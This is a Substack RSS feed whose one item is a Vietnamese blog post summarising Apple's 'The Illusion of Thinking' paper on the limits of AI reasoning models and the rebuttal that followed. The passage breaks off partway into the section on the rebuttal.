<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Aishee’s Substack]]></title><description><![CDATA[My personal Substack]]></description><link>https://www.anhtai.me</link><image><url>https://substackcdn.com/image/fetch/$s_!hV51!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa5fd6d6c-dc83-45c8-8e93-9c97dc63b229_640x640.png</url><title>Aishee’s Substack</title><link>https://www.anhtai.me</link></image><generator>Substack</generator><lastBuildDate>Wed, 06 May 2026 10:21:17 GMT</lastBuildDate><atom:link href="https://www.anhtai.me/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Aishee Nguyen]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[aisheenguyen@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[aisheenguyen@substack.com]]></itunes:email><itunes:name><![CDATA[Aishee Nguyen]]></itunes:name></itunes:owner><itunes:author><![CDATA[Aishee Nguyen]]></itunes:author><googleplay:owner><![CDATA[aisheenguyen@substack.com]]></googleplay:owner><googleplay:email><![CDATA[aisheenguyen@substack.com]]></googleplay:email><googleplay:author><![CDATA[Aishee Nguyen]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Ảo tưởng Tư duy — AI Reasoning hay gimmick]]></title><description><![CDATA[I/ Chuy&#7879;n g&#236; &#273;ang x&#7843;y ra?]]></description><link>https://www.anhtai.me/p/ao-tuong-tu-duy-ai-reasoning-hay-gimmick-29f878fc8f81</link><guid isPermaLink="false">https://www.anhtai.me/p/ao-tuong-tu-duy-ai-reasoning-hay-gimmick-29f878fc8f81</guid><dc:creator><![CDATA[Aishee Nguyen]]></dc:creator><pubDate>Sat, 14 Jun 2025 15:19:29 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/4bfe58eb-492c-4280-bd3f-ddfdb8500acf_800x352.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Tu&#7847;n n&#224;y, Apple th&#7843; qu&#7843; 1 qu&#7843; bom l&#224;m d&#226;n t&#236;nh x&#244;n xao, t&#7921;a &#273;&#7873; nghe &#273;&#227; th&#7845;y &#8220;ng&#7847;u&#8221;: &#8220;The Illusion of Thinking: Understanding the Strengths and Limitations of Reasoning Models via the Lens of Problem Complexity&#8221;. &#272;&#7841;i kh&#225;i, b&#7885;n h&#7885; l&#7845;y m&#7845;y tr&#242; ch&#417;i logic m&#224; con ng&#432;&#7901;i hay ng&#7891;i v&#242; &#273;&#7847;u b&#7913;t tai nh&#432; Th&#225;p H&#224; N&#7897;i, r&#7891;i th&#225;ch th&#7913;c &#273;&#225;m m&#244; h&#236;nh AI &#8220;t&#432; duy logic&#8221; (reasoning model) xem t&#7909;i n&#243; c&#243; th&#244;ng minh nh&#432; qu&#7843;ng c&#225;o kh&#244;ng.</p><p>K&#7871;t qu&#7843;? &#273;&#250;ng l&#224; m&#7897;t m&#224;n b&#243;c ph&#7889;t &#273;&#7881;nh cao! &#272;&#225;m AI n&#224;y t&#432;&#7903;ng m&#236;nh &#8220;pro&#8221;, nh&#432;ng h&#243;a ra to&#224;n &#8220;ch&#233;m gi&#243;&#8221;. Nh&#243;m nghi&#234;n c&#7913;u ch&#7881; c&#7847;n t&#259;ng &#273;&#7897; kh&#243; ch&#250;t x&#237;u, ki&#7875;u th&#234;m v&#224;i c&#225;i &#273;&#297;a hay c&#7897;t trong Th&#225;p H&#224; N&#7897;i, l&#224; c&#7843; l&#361; AI l&#259;n &#273;&#249;ng ra, suy lu&#7853;n lung tung, sai b&#233;t nh&#232;. N&#243;i th&#7859;ng, t&#7909;i n&#243; kh&#244;ng c&#243; n&#7893;i c&#225;i t&#432; duy logic nh&#432; con ng&#432;&#7901;i, ch&#7881; gi&#7887;i &#8220;gi&#7843; b&#7897; th&#244;ng minh&#8221; khi b&#224;i d&#7877;.</p><p>T&#243;m l&#7841;i, nghi&#234;n c&#7913;u n&#224;y nh&#432; ki&#7875;u Apple c&#7847;m loa ph&#432;&#7901;ng h&#233;t to: &#8220;&#202;, &#273;&#225;m AI l&#253; lu&#7853;n, t&#7909;i m&#224;y c&#242;n non l&#7855;m, &#273;&#7915;ng c&#243; &#7843;o t&#432;&#7903;ng s&#7913;c m&#7841;nh!&#8221;</p><h3>I/ <strong>Chuy&#7879;n g&#236; &#273;ang x&#7843;y&nbsp;ra?</strong></h3><p>G&#7847;n &#273;&#226;y, m&#7897;t cu&#7897;c tranh lu&#7853;n l&#7899;n &#273;&#227; n&#7893; ra trong th&#7871; gi&#7899;i AI. M&#7885;i chuy&#7879;n b&#7855;t &#273;&#7847;u v&#7899;i m&#7897;t paper khoa h&#7885;c m&#224; Apple c&#244;ng b&#7889; c&#243; t&#234;n &#8220;The Illusion of Thinking&#8221; (&#7842;o t&#432;&#7903;ng v&#7873; T&#432; duy)</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!F5W5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!F5W5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 424w, https://substackcdn.com/image/fetch/$s_!F5W5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 848w, https://substackcdn.com/image/fetch/$s_!F5W5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 1272w, https://substackcdn.com/image/fetch/$s_!F5W5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!F5W5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!F5W5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 424w, https://substackcdn.com/image/fetch/$s_!F5W5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 848w, https://substackcdn.com/image/fetch/$s_!F5W5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 1272w, https://substackcdn.com/image/fetch/$s_!F5W5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9c25a43d-149f-4d95-bfb5-0760d3eb13a6_800x352.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>Paper n&#224;y cho r&#7857;ng ngay c&#7843; nh&#7919;ng AI th&#244;ng minh nh&#7845;t hi&#7879;n nay, &#273;&#432;&#7907;c g&#7885;i l&#224; M&#244; h&#236;nh Suy lu&#7853;n L&#7899;n (LRM), th&#7921;c ra kh&#244;ng &#8220;suy ngh&#297;&#8221; theo c&#225;ch ch&#250;ng ta v&#7851;n t&#432;&#7903;ng. C&#225;c t&#225;c gi&#7843; n&#243;i r&#7857;ng kh&#7843; n&#259;ng suy lu&#7853;n c&#7911;a ch&#250;ng r&#7845;t mong manh v&#224; c&#243; v&#7867; mang t&#237;nh gi&#7843; t&#7841;o v&#224; s&#7869; &#8220;s&#7909;p &#273;&#7893; ho&#224;n to&#224;n&#8221; khi g&#7863;p ph&#7843;i nh&#7919;ng v&#7845;n &#273;&#7873; h&#417;i ph&#7913;c t&#7841;p m&#7897;t ch&#250;t.</p><p>Tuy nhi&#234;n, m&#7897;t nh&#243;m nh&#224; khoa h&#7885;c kh&#225;c &#273;&#227; ph&#7843;n b&#225;c l&#7841;i, cho r&#7857;ng paper &#273;&#7847;u ti&#234;n &#273;&#227; sai. H&#7885; n&#243;i r&#7857;ng nh&#7919;ng th&#7845;t b&#7841;i c&#7911;a AI kh&#244;ng ph&#7843;i do ch&#250;ng kh&#244;ng bi&#7871;t suy ngh&#297;, m&#224; l&#224; do c&#225;ch c&#225;c nh&#224; khoa h&#7885;c &#273;&#227; th&#7917; nghi&#7879;m ch&#250;ng. C&#7909; th&#7875;, c&#225;c b&#224;i ki&#7875;m tra c&#243; nh&#7919;ng l&#7895;i nghi&#234;m tr&#7885;ng, nh&#432; y&#234;u c&#7847;u AI vi&#7871;t m&#7897;t c&#226;u tr&#7843; l&#7901;i d&#224;i h&#417;n gi&#7899;i h&#7841;n cho ph&#233;p ho&#7863;c b&#7855;t ch&#250;ng gi&#7843;i nh&#7919;ng c&#226;u &#273;&#7889; kh&#244;ng c&#243; l&#7901;i gi&#7843;i.</p><p>Sau 1 ch&#250;t th&#7901;i gian ng&#226;m c&#7913;u vui v&#7867;, t&#244;i s&#7869; gi&#7843;i th&#237;ch to&#224;n b&#7897; c&#226;u chuy&#7879;n m&#7897;t c&#225;ch &#273;&#417;n gi&#7843;n:</p><blockquote><p>*L&#432;u &#253;: &#273;&#226;y l&#224; ch&#250;t gi&#7843;i ngh&#297;a d&#7877; hi&#7875;u theo ki&#7875;u b&#236;nh d&#226;n &#273;&#7875; nhi&#7873;u ng&#432;&#7901;i c&#243; th&#7875; &#273;&#7885;c hi&#7875;u &#273;&#432;&#7907;c v&#7845;n &#273;&#7873; v&#224; t&#244;i c&#361;ng kh&#244;ng ph&#7843;i l&#224; d&#226;n h&#7885;c thu&#7853;t</p></blockquote><ol><li><p><strong>C&#225;c nh&#224; khoa h&#7885;c c&#7911;a Apple n&#243;i g&#236;?</strong> Ch&#250;ng ta s&#7869; xem x&#233;t c&#225;c b&#7857;ng ch&#7913;ng m&#224; paper &#273;&#7847;u ti&#234;n &#273;&#432;a ra, nh&#432; vi&#7879;c AI &#273;&#7897;t ng&#7897;t &#8220;b&#243; tay&#8221; khi v&#7845;n &#273;&#7873; kh&#243; h&#417;n m&#7897;t ch&#250;t (&#8220;v&#225;ch &#273;&#225; ph&#7913;c t&#7841;p&#8221;) v&#224; m&#7897;t ngh&#7883;ch l&#253; k&#7923; l&#7841; l&#224; khi v&#7845;n &#273;&#7873; c&#224;ng kh&#243;, AI d&#432;&#7901;ng nh&#432; c&#224;ng&#8230; l&#432;&#7901;i suy ngh&#297; h&#417;n.</p></li><li><p><strong>B&#224;i ph&#7843;n bi&#7879;n n&#243;i g&#236;?</strong> Ch&#250;ng ta s&#7869; ph&#226;n t&#237;ch l&#7853;p lu&#7853;n ph&#7843;n b&#225;c, cho th&#7845;y r&#7857;ng nh&#7919;ng &#8220;th&#7845;t b&#7841;i&#8221; c&#7911;a AI th&#7921;c ch&#7845;t l&#224; do l&#7895;i trong ph&#432;&#417;ng ph&#225;p th&#7917; nghi&#7879;m.</p></li><li><p><strong>T&#432;&#417;ng lai c&#7911;a AI s&#7869; ra sao?</strong> Cu&#7897;c tranh lu&#7853;n n&#224;y th&#7921;c s&#7921; r&#7845;t h&#7919;u &#237;ch. N&#243; th&#250;c &#273;&#7849;y c&#225;c nh&#224; khoa h&#7885;c t&#236;m ra nh&#7919;ng c&#225;ch m&#7899;i &#273;&#7875; x&#226;y d&#7921;ng AI th&#244;ng minh h&#417;n, m&#7841;nh m&#7869; h&#417;n.</p></li></ol><p>Ch&#250;ng ta s&#7869; xem ba h&#432;&#7899;ng &#273;i th&#250; v&#7883; sau:</p><ul><li><p><strong>AI Lai (Hybrid Systems):</strong> K&#7871;t h&#7907;p AI s&#225;ng t&#7841;o (gi&#7889;ng nh&#432; ngh&#7879; s&#297;) v&#7899;i AI logic (gi&#7889;ng nh&#432; k&#7871; to&#225;n) &#273;&#7875; c&#243; &#273;&#432;&#7907;c s&#7921; t&#7889;t nh&#7845;t c&#7911;a c&#7843; hai.</p></li><li><p><strong>AI l&#224;m vi&#7879;c nh&#243;m (Multi-Agent Systems):</strong> Thay v&#236; m&#7897;t AI kh&#7893;ng l&#7891; l&#224;m m&#7885;i th&#7913;, ch&#250;ng ta t&#7841;o ra m&#7897;t nh&#243;m c&#225;c AI nh&#7887; h&#417;n, m&#7895;i AI chuy&#234;n v&#7873; m&#7897;t vi&#7879;c v&#224; ch&#250;ng h&#7907;p t&#225;c v&#7899;i nhau.</p></li><li><p><strong>AI h&#7885;c t&#7915; kinh nghi&#7879;m (Reinforcement Learning):</strong> D&#7841;y AI b&#7857;ng c&#225;ch cho ch&#250;ng th&#7917; v&#224; sai, th&#432;&#7903;ng cho nh&#7919;ng b&#432;&#7899;c &#273;i &#273;&#250;ng &#273;&#7855;n, gi&#250;p ch&#250;ng t&#7921; c&#7843;i thi&#7879;n kh&#7843; n&#259;ng suy lu&#7853;n.</p></li></ul><p>M&#7863;c d&#249; paper &#8220;&#7842;o t&#432;&#7903;ng v&#7873; T&#432; duy&#8221; c&#243; th&#7875; &#273;&#227; ph&#243;ng &#273;&#7841;i v&#7845;n &#273;&#7873; do ph&#432;&#417;ng ph&#225;p lu&#7853;n c&#243; th&#7875; c&#243; sai s&#243;t, n&#243; v&#7851;n &#273;em l&#7841;i nh&#7919;ng gi&#225; tr&#7883; nh&#7845;t &#273;&#7883;nh.</p><p>N&#243; gi&#7889;ng nh&#432; m&#7897;t b&#224;i ki&#7875;m tra s&#7913;c ch&#7883;u &#273;&#7921;ng, ph&#417;i b&#224;y nh&#7919;ng &#273;i&#7875;m y&#7871;u c&#7911;a AI hi&#7879;n t&#7841;i v&#224; c&#225;ch ch&#250;ng ta &#273;&#225;nh gi&#225; ch&#250;ng. B&#224;i nghi&#234;n c&#7913;u c&#7911;a Apple &#273;&#227; bu&#7897;c c&#7897;ng &#273;&#7891;ng AI ph&#7843;i chuy&#7875;n h&#432;&#7899;ng, kh&#244;ng ch&#7881; t&#7853;p trung v&#224;o vi&#7879;c t&#7841;o ra c&#225;c AI l&#7899;n h&#417;n, m&#224; c&#242;n ph&#7843;i t&#7841;o ra c&#225;c AI c&#243; ki&#7871;n tr&#250;c th&#244;ng minh h&#417;n, linh ho&#7841;t h&#417;n v&#224; c&#243; kh&#7843; n&#259;ng h&#7907;p t&#225;c.</p><h3>II. &#8220;&#7842;o t&#432;&#7903;ng v&#7873; T&#432; duy&#8221;: AI th&#7921;c s&#7921; suy ngh&#297; nh&#432; th&#7871;&nbsp;n&#224;o?</h3><p>Ph&#7847;n n&#224;y s&#7869; gi&#7843;i th&#237;ch ng&#7855;n g&#7885;n b&#224;i paper c&#7911;a Apple</p><h4>A. C&#226;u h&#7887;i c&#7889;t l&#245;i: AI &#273;ang suy ngh&#297; hay ch&#7881; b&#7855;t&nbsp;ch&#432;&#7899;c?</h4><p>Paper c&#7911;a Apple &#273;&#7863;t ra m&#7897;t c&#226;u h&#7887;i r&#7845;t quan tr&#7885;ng: Li&#7879;u c&#225;c AI ti&#234;n ti&#7871;n nh&#432; Claude 3.7 hay c&#225;c m&#244; h&#236;nh c&#7911;a OpenAI c&#243; th&#7921;c s&#7921; suy lu&#7853;n m&#7897;t c&#225;ch logic, hay ch&#250;ng ch&#7881; &#273;&#417;n thu&#7847;n l&#224; c&#225;c m&#7851;u c&#226;u tr&#7843; l&#7901;i m&#224; ch&#250;ng &#273;&#227; th&#7845;y h&#224;ng tri&#7879;u l&#7847;n trong d&#7919; li&#7879;u hu&#7845;n luy&#7879;n?</p><p>C&#225;c t&#225;c gi&#7843; cho r&#7857;ng c&#225;c b&#224;i ki&#7875;m tra th&#244;ng th&#432;&#7901;ng kh&#244;ng &#273;&#7911; t&#7889;t &#273;&#7875; tr&#7843; l&#7901;i c&#226;u h&#7887;i n&#224;y v&#236; ch&#250;ng c&#243; th&#7875; b&#7883; &#8220;nhi&#7877;m&#8221; d&#7919; li&#7879;u (AI &#273;&#227; th&#7845;y c&#226;u tr&#7843; l&#7901;i tr&#432;&#7899;c &#273;&#243;) v&#224; kh&#244;ng cho ch&#250;ng ta bi&#7871;t AI &#273;&#227; &#8220;suy ngh&#297;&#8221; nh&#432; th&#7871; n&#224;o &#273;&#7875; &#273;i &#273;&#7871;n k&#7871;t qu&#7843;.</p><h4>B. M&#7897;t c&#225;ch ki&#7875;m tra m&#7899;i: C&#225;c c&#226;u &#273;&#7889; c&#243; th&#7875; ki&#7875;m&nbsp;so&#225;t</h4><p>&#272;&#7875; gi&#7843;i quy&#7871;t v&#7845;n &#273;&#7873; n&#224;y, c&#225;c nh&#224; nghi&#234;n c&#7913;u &#273;&#227; s&#7917; d&#7909;ng b&#7889;n lo&#7841;i c&#226;u &#273;&#7889; kinh &#273;i&#7875;n &#273;&#7875; ki&#7875;m tra AI, thay v&#236; c&#225;c b&#224;i to&#225;n ph&#7913;c t&#7841;p 1:</p><ol><li><p><strong>Th&#225;p H&#224; N&#7897;i:</strong> Tr&#242; ch&#417;i chuy&#7875;n c&#225;c &#273;&#297;a qua c&#7885;c, &#273;&#242;i h&#7887;i l&#7853;p k&#7871; ho&#7841;ch.</p></li><li><p><strong>C&#7901; Nh&#7843;y:</strong> Tr&#242; ch&#417;i di chuy&#7875;n c&#225;c qu&#226;n c&#7901; &#273;&#7875; &#273;&#7893;i ch&#7895; cho nhau.</p></li><li><p><strong>V&#432;&#7907;t S&#244;ng:</strong> C&#226;u &#273;&#7889; logic v&#7873; vi&#7879;c &#273;&#432;a ng&#432;&#7901;i v&#224; v&#7853;t qua s&#244;ng an to&#224;n.</p></li><li><p><strong>Th&#7871; gi&#7899;i Kh&#7889;i:</strong> Tr&#242; ch&#417;i s&#7855;p x&#7871;p c&#225;c kh&#7889;i h&#7897;p theo m&#7897;t th&#7913; t&#7921; nh&#7845;t &#273;&#7883;nh.</p></li></ol><p>H&#7885; cho r&#7857;ng c&#225;c c&#226;u &#273;&#7889; n&#224;y t&#7889;t h&#417;n:</p><ul><li><p>C&#243; th&#7875; d&#7877; d&#224;ng &#273;i&#7873;u ch&#7881;nh &#273;&#7897; kh&#243;.</p></li><li><p>AI &#237;t c&#243; kh&#7843; n&#259;ng &#273;&#227; &#8220;h&#7885;c thu&#7897;c l&#242;ng&#8221; l&#7901;i gi&#7843;i.</p></li><li><p>Ch&#7881; c&#7847;n tu&#226;n theo c&#225;c quy t&#7855;c &#273;&#417;n gi&#7843;n, ki&#7875;m tra logic thu&#7847;n t&#250;y.</p></li><li><p>C&#243; th&#7875; ki&#7875;m tra t&#7915;ng b&#432;&#7899;c &#273;i c&#7911;a AI &#273;&#7875; xem n&#243; c&#243; m&#7855;c l&#7895;i &#7903; &#273;&#226;u kh&#244;ng.</p></li></ul><h4>C. &#8220;V&#225;ch &#273;&#225; ph&#7913;c t&#7841;p&#8221;: Khi AI &#273;&#7897;t ng&#7897;t th&#7845;t&nbsp;b&#7841;i</h4><p>&#272;&#226;y l&#224; ph&#225;t hi&#7879;n g&#226;y s&#7889;c c&#243; l&#7869; l&#224; nh&#7845;t. T&#7845;t c&#7843; c&#225;c AI &#273;&#432;&#7907;c th&#7917; nghi&#7879;m &#273;&#7873;u ho&#7841;t &#273;&#7897;ng r&#7845;t t&#7889;t v&#7899;i c&#225;c c&#226;u &#273;&#7889; &#273;&#417;n gi&#7843;n. Nh&#432;ng khi &#273;&#7897; kh&#243; t&#259;ng l&#234;n m&#7897;t ch&#250;t (v&#237; d&#7909;, th&#234;m v&#224;i c&#225;i &#273;&#297;a trong Th&#225;p H&#224; N&#7897;i), &#273;&#7897; ch&#237;nh x&#225;c c&#7911;a ch&#250;ng &#273;&#7897;t ng&#7897;t gi&#7843;m xu&#7889;ng 0%.</p><p><strong>N&#243; kh&#244;ng gi&#7843;m t&#7915; t&#7915;, m&#224; r&#417;i th&#7859;ng &#273;&#7913;ng nh&#432; m&#7897;t &#8220;v&#225;ch &#273;&#225;&#8221;.</strong></p><p>C&#225;c nh&#224; nghi&#234;n c&#7913;u &#273;&#227; ch&#7881; ra ba giai &#273;o&#7841;n:</p><ol><li><p><strong>&#272;&#7897; kh&#243; th&#7845;p:</strong> C&#225;c AI th&#244;ng th&#432;&#7901;ng (kh&#244;ng c&#243; ch&#7871; &#273;&#7897; &#8220;suy ngh&#297;&#8221;) l&#7841;i l&#224;m t&#7889;t h&#417;n.</p></li><li><p><strong>&#272;&#7897; kh&#243; trung b&#236;nh:</strong> C&#225;c AI c&#243; ch&#7871; &#273;&#7897; &#8220;suy ngh&#297;&#8221; th&#7875; hi&#7879;n &#432;u th&#7871; r&#245; r&#7879;t.</p></li><li><p><strong>&#272;&#7897; kh&#243; cao:</strong> C&#7843; hai lo&#7841;i AI &#273;&#7873;u th&#7845;t b&#7841;i ho&#224;n to&#224;n.</p></li></ol><p><strong>&#272;i&#7875;m down v&#7873; &#273;&#7897; ch&#237;nh x&#225;c c&#7911;a AI trong c&#225;c c&#226;u &#273;&#7889;</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bNDK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bNDK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 424w, https://substackcdn.com/image/fetch/$s_!bNDK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 848w, https://substackcdn.com/image/fetch/$s_!bNDK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 1272w, https://substackcdn.com/image/fetch/$s_!bNDK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bNDK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bNDK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 424w, https://substackcdn.com/image/fetch/$s_!bNDK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 848w, https://substackcdn.com/image/fetch/$s_!bNDK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 1272w, https://substackcdn.com/image/fetch/$s_!bNDK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F08c3d089-31f7-4b65-a4a2-e158ad5acf46_507x218.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h4>D. Ngh&#7883;ch l&#253; v&#7873; s&#7921; suy gi&#7843;m: C&#224;ng kh&#243;, c&#224;ng&nbsp;l&#432;&#7901;i?</h4><p>&#272;&#226;y l&#224; ph&#225;t hi&#7879;n k&#7923; l&#7841; nh&#7845;t. Khi c&#225;c c&#226;u &#273;&#7889; tr&#7903; n&#234;n kh&#243; h&#417;n v&#224; ti&#7871;n g&#7847;n &#273;&#7871;n &#8220;&#273;i&#7875;m s&#7909;p &#273;&#7893;&#8221;, AI d&#432;&#7901;ng nh&#432; l&#7841;i <em>gi&#7843;m</em> n&#7895; l&#7921;c suy ngh&#297; c&#7911;a m&#236;nh. L&#432;&#7907;ng &#8220;token suy ngh&#297;&#8221; (c&#243; th&#7875; coi l&#224; th&#432;&#7899;c &#273;o n&#7895; l&#7921;c) m&#224; ch&#250;ng t&#7841;o ra l&#7841;i &#237;t &#273;i.</p><p>C&#225;c t&#225;c gi&#7843; kh&#7859;ng &#273;&#7883;nh r&#7857;ng &#273;i&#7873;u n&#224;y x&#7843;y ra ngay c&#7843; khi AI c&#243; &#8220;ng&#226;n s&#225;ch suy lu&#7853;n d&#7891;i d&#224;o&#8221; (t&#7913;c l&#224; ch&#250;ng c&#243; &#273;&#7911; kh&#7843; n&#259;ng &#273;&#7875; suy ngh&#297; nhi&#7873;u h&#417;n).</p><p>H&#7885; k&#7871;t lu&#7853;n r&#7857;ng &#273;&#226;y l&#224; m&#7897;t h&#7841;n ch&#7871; c&#417; b&#7843;n trong kh&#7843; n&#259;ng suy lu&#7853;n c&#7911;a AI, ch&#7913; kh&#244;ng ph&#7843;i do thi&#7871;u t&#224;i nguy&#234;n.</p><h4>E. B&#234;n trong &#8220;h&#7897;p &#273;en&#8221;: Nh&#7919;ng h&#224;nh vi kh&#243;&nbsp;hi&#7875;u</h4><ul><li><p><strong>&#8220;Suy ngh&#297; qu&#225; m&#7913;c&#8221;:</strong> V&#7899;i c&#225;c b&#224;i to&#225;n d&#7877;, AI th&#432;&#7901;ng t&#236;m ra &#273;&#225;p &#225;n &#273;&#250;ng ngay t&#7915; &#273;&#7847;u, nh&#432;ng sau &#273;&#243; l&#7841;i ti&#7871;p t&#7909;c kh&#225;m ph&#225; c&#225;c ph&#432;&#417;ng &#225;n sai, g&#226;y l&#227;ng ph&#237;.</p></li><li><p><strong>Kh&#244;ng bi&#7871;t d&#249;ng thu&#7853;t to&#225;n:</strong> Ngay c&#7843; khi &#273;&#432;&#7907;c cung c&#7845;p thu&#7853;t to&#225;n gi&#7843;i Th&#225;p H&#224; N&#7897;i m&#7897;t c&#225;ch r&#245; r&#224;ng, AI v&#7851;n kh&#244;ng th&#7875; l&#224;m theo v&#224; v&#7851;n th&#7845;t b&#7841;i &#7903; c&#249;ng m&#7897;t &#273;i&#7875;m.</p></li></ul><p>&#272;i&#7873;u n&#224;y cho th&#7845;y ch&#250;ng g&#7863;p kh&#243; kh&#259;n trong vi&#7879;c tu&#226;n theo c&#225;c b&#432;&#7899;c logic m&#7897;t c&#225;ch ch&#237;nh x&#225;c.</p><h3>III. C&#243; ph&#7843;i do 